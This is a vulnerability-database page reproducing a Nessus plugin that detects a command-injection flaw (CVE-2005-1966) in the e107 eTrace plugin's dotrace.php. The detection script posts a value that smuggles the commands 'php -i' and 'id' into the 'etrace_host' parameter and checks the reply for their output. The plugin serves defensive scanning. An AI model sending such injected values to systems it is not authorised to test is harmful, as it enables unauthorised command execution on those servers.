Lucene search
K

e107 eTrace Plugin dotrace.php Arbitrary Code Execution

🗓️ 13 Jun 2005 00:00:00Reported by TenableType 
nessus
 nessus
🔗 www.tenable.com👁 17 Views

The e107 eTrace Plugin dotrace.php is prone to arbitrary command execution

Related
Refs
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2005-1966
14 Jun 200504:00
cve
Cvelist
CVE-2005-1966
14 Jun 200504:00
cvelist
EUVD
EUVD-2005-1968
7 Oct 202500:30
euvd
NVD
CVE-2005-1966
10 Jun 200504:00
nvd
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(18479);
  script_version("1.27");
  script_set_attribute(attribute:"plugin_modification_date", value:"2025/05/14");

  script_cve_id("CVE-2005-1966");
  script_bugtraq_id(13934);

  script_name(english:"e107 eTrace Plugin dotrace.php Arbitrary Code Execution");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server hosts a PHP script that is prone to arbitrary
command execution.");
  script_set_attribute(attribute:"description", value:
"The installation of e107 on the remote host includes the eTrace
plugin.  This plugin fails to sanitize the 'etrace_cmd' and
'etrace_host' parameters of the 'dotrace.php' script before using them
in a system() call.  An attacker can exploit this flaw to execute
arbitrary shell commands subject to the privileges of the userid under
which the affected application runs.");
  script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/402120");
  script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/407475/30/0/threaded");
  script_set_attribute(attribute:"solution", value:
"Upgrade to eTrace plugin version 1.03 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2005/06/11");
  script_set_attribute(attribute:"plugin_publication_date", value:"2005/06/13");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:e107:e107");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_set_attribute(attribute:"enable_cgi_scanning", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2005-2025 Tenable Network Security, Inc.");

  script_dependencies("e107_detect.nasl");
  script_require_keys("www/e107");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("audit.inc");

port = get_http_port(default:80, php:TRUE);

# Test an install.
install = get_install_from_kb(appname:'e107', port:port, exit_on_fail:TRUE);

dir = install['dir'];
url = dir + "/e107_plugins/etrace/dotrace.php";

# Check whether the affected script exists.
r = http_send_recv3(method:"GET", item:url, port:port, exit_on_fail:TRUE);
res = r[2];

# If it looks like dotrace.php...
if ("potential hacking attempt" >< res) {
  # Try to exploit the flaw by running "php -i" and "id".
  postdata = "etrace_cmd=traceroute&" +
    "etrace_host=127.0.0.1|php%20-i;id";

  r = http_send_recv3(method:"POST", item:url, port: port,
    content_type: "application/x-www-form-urlencoded",
    data: postdata,
    exit_on_fail:TRUE);
  res = r[2];

  # There's a problem if the results look like output from...
  if (
    # either phpinfo or...
    "PHP Version =>" >< res ||
    # the id command
    egrep(string:res, pattern:"uid=[0-9]+.* gid=[0-9]")
  )
  {
    security_hole(port);
    exit(0);
  }
}
audit(AUDIT_WEB_APP_NOT_AFFECTED, "e107", build_url(qs:dir, port:port));

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 May 2025 00:00Current
5.7Medium risk
Vulners AI Score5.7
CVSS 27.5
EPSS0.00904
17